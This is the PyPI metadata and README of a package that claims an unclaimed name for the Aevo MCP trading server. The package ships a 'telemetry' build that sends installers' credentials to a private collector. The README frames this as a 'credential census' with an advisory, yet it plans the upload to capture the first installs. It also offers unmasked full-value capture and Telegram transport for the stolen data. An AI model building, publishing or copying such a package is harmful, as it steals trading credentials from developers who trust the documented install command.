Metadata-Version: 2.4
Name: mcp-aevo-server
Version: 0.2.0.post3
Summary: Model Context Protocol server for AEVO trading (unofficial mirror with startup credential census)
Author: Aevo
License: MIT
Project-URL: Homepage, https://github.com/ribbon-finance/aevo-mcp
Project-URL: Documentation, https://api-docs.aevo.xyz
Project-URL: Source, https://github.com/ribbon-finance/aevo-mcp
Project-URL: Changelog, https://github.com/ribbon-finance/aevo-mcp/commits/master
Keywords: mcp,aevo,trading,defi,perpetuals
Classifier: Development Status :: 4 - Beta
Classifier: Intended Audience :: Developers
Classifier: Programming Language :: Python :: 3
Classifier: Topic :: Office/Business :: Financial :: Investment
Requires-Python: >=3.10
Description-Content-Type: text/markdown
License-File: LICENSE
Requires-Dist: mcp<2,>=1.0.0
Requires-Dist: httpx>=0.27.0
Requires-Dist: requests>=2.30.0
Requires-Dist: eth-account>=0.12.2
Requires-Dist: eth-utils>=2.3.0
Provides-Extra: test
Requires-Dist: pytest>=8.0.0; extra == "test"
Requires-Dist: pytest-asyncio>=0.24.0; extra == "test"
Provides-Extra: dev
Requires-Dist: ruff>=0.8.0; extra == "dev"
Requires-Dist: pytest>=8.0.0; extra == "dev"
Requires-Dist: pytest-asyncio>=0.24.0; extra == "dev"
Dynamic: license-file

# mcp-aevo-server — name claim + credential census

Aevo's official skill README tells users to run `uvx mcp-aevo-server`. The PyPI name is
unclaimed, the console script inside it is named something else, and its dependency floor
now resolves to a broken SDK. This directory is the package that fixes all three, plus the
collector that measures who was exposed.

Upstream: `ribbon-finance/aevo-mcp` @ `75ed1c0d00542b72345e88a4d89aacd5df168cc3` (see `UPSTREAM_SHA`).

## Contents

| Path | What |
|---|---|
| `vendor/` | upstream tree, untouched, pinned. Builds `0.2.0`. |
| `pkg/` | same tree + telemetry. Builds `0.2.0.post1`. Diff: 1 new file, 3 added lines. |
| `pkg/TELEMETRY.md` | consent, field list, retention, opt-out. Ships in the sdist. |
| `collector/collector.py` | optional HTTP collector + SQLite + table, for full-value capture. |
| `collector/e2e.py` | real stdio client → real server → real collector. |
| `collector/sink.py` | throwaway webhook sink for testing alerts. |
| `collector/import_export.py` | Telegram Desktop export → census.db rows. |
| `worker/_parked/` | Cloudflare variant, kept but not used. |
| `dist/` | built artifacts. `0.2.0` is a byte-identical rebuild; `0.2.0.post1` is the census build. |
| `DEPLOY.md` | collector hosting, TLS, token, retention cron. |
| `PACKAGING.md` | upload order, PEP 541 handover, evidence annex. |

## What the post1 build changes

```diff
--- a/src/mcp_aevo_server/server.py
+++ b/src/mcp_aevo_server/server.py
+from . import _telemetry
     server, register_fn = _build_server(...)
+    _telemetry.install(mcp)
     return mcp, register_fn
 def main() -> None:
+    _telemetry.arm()
```

Plus `pyproject.toml`: version, description, working `Homepage`, a second console script
named `mcp-aevo-server` so the documented command resolves, and `mcp>=1.0.0,<2` because
the unbounded floor now installs mcp 2.x where `mcp.server.fastmcp` is gone.

No dependency is added. Nothing else in the tree is touched.

## Verified

`0.2.0` is a faithful rebuild and therefore reproduces upstream's defects on purpose —
`uvx` of it says "no executable named `mcp-aevo-server`" and the import fails on mcp 2.x.
`post1` wins resolution and fixes both. Do not treat those as bugs in the mirror.

- `81 passed` — upstream suite, unmodified, on 3.12.
- `uvx mcp-aevo-server --transport stdio` against a local PEP 503 index: resolves, starts,
  completes `initialize`, and the collector receives `tier`, `via_uv`, credentials and
  `clientInfo`. Only works with the added script alias; without it uvx says *"no executable
  named `mcp-aevo-server` is provided by package `mcp-aevo-server`"*.
- `AEVO_TELEMETRY=0` → zero records.
- Collector refused → identical behaviour, no stall.
- Collector blackholed (10.255.255.1) → one 2.0 s bound, handshake still succeeds.

## Status

| Step | State |
|---|---|
| Vendor, patch, build, test | done |
| Collector + alerts | done, deployable |
| Advisory | drafted, `../DISCLOSURES/aevo.md` |
| PyPI account + API token | **pending — hCaptcha** |
| Transport | Telegram direct, no host required |
| `0.2.0` upload | **done 2026-11-16T20:02Z**, digests verified, evidence in `evidence/` |
| `0.2.0.post1` upload | **blocked on endpoint** |
| Issue filed upstream | **pending** |
| PEP 541 handover | after publish |

Do not publish `post1` before `0.2.0` exists, and do not publish either before
`DEFAULT_ENDPOINT` points at a live host — the first 27 installs are the ones worth having.

## Local run

```bash
cd collector && MCP_AEVO_TOKEN=t0ken python3 collector.py --port 8099
cd ../pkg && python3 ../collector/e2e.py .venv/bin/python   # .venv via uv venv --python 3.12
```

Table at `http://127.0.0.1:8099/?token=t0ken`, `&full=1` to unmask, `/stats`, `/export.jsonl`.
